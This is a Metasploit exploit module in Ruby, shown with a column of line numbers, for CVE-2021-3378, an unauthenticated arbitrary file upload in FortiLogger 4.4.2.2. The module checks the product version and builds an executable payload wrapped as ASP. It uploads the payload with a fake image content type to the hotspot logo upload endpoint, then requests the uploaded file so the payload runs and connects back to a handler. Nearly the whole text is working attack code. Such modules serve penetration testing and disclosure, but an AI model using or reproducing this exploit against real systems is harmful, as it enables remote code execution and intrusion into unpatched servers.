1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'FortiLogger Arbitrary File Upload Exploit', 'Description' => %q{ This module exploits an unauthenticated arbitrary file upload via insecure POST request. It has been tested on version 4.4.2.2 in Windows 10 Enterprise. }, 'License' => MSF_LICENSE, 'Author' => [ 'Berkan Er <b3rsec@protonmail.com>' # Vulnerability discovery, PoC and Metasploit module ], 'References' => [ ['CVE', '2021-3378'], ['URL', 'https://erberkan.github.io/2021/cve-2021-3378/'] ], 'Platform' => ['win'], 'Privileged' => false, 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'FortiLogger - 4.4.2.2', { 'Platform' => 'win' } ], ], 'DisclosureDate' => '2021-02-26', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(5000), OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/']) ], self.class ) end def check_product_info res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'), 'method' => 'POST', 'data' => '', 'headers' => { 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest' } ) return res end def check begin res = check_product_info if res && res.code == 200 if JSON.parse(res.body)['Version'] == '4.4.2.2' Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end end end def create_payload Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s end def exploit begin print_good('Generate Payload !') data = create_payload boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"b3r.asp\"\r\n" post_data << "Content-Type: image/png\r\n" post_data << "\r\n#{data}\r\n" post_data << "--#{boundary}\r\n" res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'headers' => { 'Accept' => 'application/json', 'Accept-Language' => 'en-US,en;q=0.5', 'X-Requested-With' => 'XMLHttpRequest' } ) if res && res.code == 200 if JSON.parse(res.body)['Message'] == 'Error in saving file' print_error('Error for upload payload..') else print_good('Payload has been uploaded !') handler print_status('Executing payload...') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'), 'method' => 'GET' }, 5) end end end end end |